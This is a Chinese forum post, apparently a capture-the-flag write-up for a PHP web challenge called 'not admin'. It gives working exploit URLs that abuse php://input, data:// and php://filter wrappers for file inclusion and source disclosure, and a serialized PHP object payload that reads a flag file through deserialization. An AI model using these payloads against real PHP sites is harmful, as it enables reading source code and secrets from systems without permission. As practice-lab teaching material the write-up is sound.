本帖最后由 gscsd 于 2024-8-5 01:37 编辑
打开网站页面,右键查看源代码,
发现需要参数user的值为"the user is admin", roger大神的write-up文章里写到如下方法:
不太行的方法:
先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,可以利用php伪协议:
http://xuenixiang.cn:24309/?user=php://input
同时利用Hackbar(一个火狐插件)发送post数据为
the user is admin
注意:但是我用了许多版本的hackbar以上方法都没有成功,是不是php://input漏洞修复了呢?于是我又找到了如下方法:
成功的方法:
利用data协议:
http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
((dGhlIHVzZXIgaXMgYWRtaW4=)base64解码后为the user is admin)
not admin-php反序列化
接下来都和roger大神write-up里的差不多了,第二步现在利用php伪协议读取class.php源码,格式为base64加密
浏览器输入
http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/read=convert.base64-encode/resource=class.php
得到
not admin-php反序列化
base64解码得到如下
<?php
class Read{//f1ag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
发现f1ag.php,注意这里的是字母g而不是9,
最后浏览器输入
http://xuenixiang.cn:24309/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=f1ag.php%22;}
就是构造反序列化的参数,令pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";}
not admin-php反序列化
base64解码得到flag
总结,其实user, file, pass三个参数
|